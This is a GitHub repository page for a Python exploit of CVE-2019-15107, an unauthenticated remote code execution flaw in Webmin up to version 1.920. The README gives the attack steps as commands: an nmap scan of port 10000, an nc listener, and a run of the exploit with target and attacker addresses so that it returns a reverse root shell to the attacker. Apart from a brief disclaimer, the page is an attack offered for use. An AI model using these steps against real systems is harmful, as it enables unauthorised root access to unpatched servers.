Skip to content

squid22/Webmin_CVE-2019-15107

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2019–15107 - Unauthenticated RCE Webmin <=1.920

This python script should give you a root shell on Webmin 1.890

Check with nmap:
nmap -sC -sV -p 10000 TARGET_IP

Result:
10000/tcp open http MiniServ 1.890 (Webmin httpd)

How to use this exploit:

Step 1: nc -lnvp LPORT

Step 2: chmod +x exploit.py

./exploit RHOST RPORT LHOST LPORT

RHOST = the target
RPORT = the target IP address (Usually 10000)
LHOST = your kali box
LPORT = your reverse shell port

Step 3: Get a root shell!

DO NOT HARM UNAUTHORIZED SYSTEMS!!!

About

CVE-2019–15107 - Unauthenticated RCE Webmin <=1.920

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages